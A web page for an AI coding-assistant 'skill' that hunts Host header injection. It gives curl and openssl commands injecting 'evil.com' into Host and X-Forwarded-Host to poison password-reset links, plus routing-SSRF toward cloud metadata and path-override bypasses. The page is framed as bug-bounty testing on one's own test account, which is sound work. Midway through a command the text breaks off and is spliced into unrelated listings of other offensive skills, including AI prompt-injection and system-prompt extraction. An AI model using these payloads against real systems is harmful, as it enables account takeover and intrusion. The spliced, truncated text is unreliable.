hunt-host-header
The hunt-host-header Claude Code skill automates detection of Host header injection vulnerabilities across password reset flows, web cache poisoning, routing-based SSRF, path-override attacks, and OAuth poisoning vectors. Use this skill when testing applications with forgot-password features, CDN or reverse-proxy infrastructure, OAuth/OIDC endpoints, or systems generating absolute URLs in emails, as Host header flaws can escalate to account takeover or mass cache poisoning.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-host-header && cp -r /tmp/hunt-host-header/skills/hunt-host-header ~/.claude/skills/hunt-host-headerSKILL.md
# HUNT-HOST-HEADER — Host Header Injection
## Grounding / Provenance
This skill is built from the public Host-header attack literature, not invented payloads.
Cite the *technique source* in your report, never a fabricated ID:
- **Password-reset poisoning class** — the canonical write-up is Skelet's/Detectify-era
"Practical HTTP Host header attacks" (the Django `request.get_host()` → password-reset-link
case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style
allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
- **Web cache poisoning via unkeyed Host / X-Forwarded-Host** — PortSwigger Research,
James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020).
These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
- **Routing-based SSRF** — PortSwigger Research, "Cracking the lens" / routing-based SSRF
(Host header steers the front-end's upstream selection).
When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT
on a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not
verified — a missing citation is always better than a wrong one.
---
## Crown Jewel Targets
Host header injection that reaches password reset links = Critical (ATO for any user).
**Highest-value chains:**
- **Password reset poisoning → ATO** — server builds the reset link from the request Host;
attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker →
token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*
their own reset leaks the token to evil.com.
- **Web cache poisoning via unkeyed Host** — a CDN/reverse proxy caches a response that reflects
an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned
entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
- **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;
`Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target
→ cloud metadata / internal admin panels.
- **Path-override SSRF / ACL bypass** — IIS/ASP.NET/Spring honour `X-Original-URL` /
`X-Rewrite-URL` to override the routed path → reach `/admin` or internal endpoints the edge
ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
- **OAuth/OIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` / discovery doc →
auth-code or token theft → ATO.
---
## Attack Surface Signals
```
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
```
**Dangerous header candidates (unkeyed / trusted inputs):**
```
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
```
---
## Step-by-Step Hunting Methodology
> Always test against **your own** registered test account. Never request another user's reset.
### Phase 1 — Password Reset Poisoning
```bash
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"your-test-account@target.com"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "email=your-test-account@target.com"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "email=your-test-account@target.com"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"
```
**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must
appear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator
domain) for this to be a real finding. **Use a Burp Collaborator domain as the injected host** so
that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and
have proof — see Validation.
### Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host
Mechanism: this is a **reflection** bug, not an OOB bug. The injected host must be *reflected into
the response body* (an absolute URL, script `src`, `<link href>`, `<base href>`, redirect
`Location`, or canonical/og:url) **and** that response must be **cached on a key you do not
control**. No Collaborator callback is expected from the cache test itself — only later, if a
victim's browser loads the poisoned absolute URL.
```bash
# 2a. Is the host reflected into the body?
curl -s https://$TARGEEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.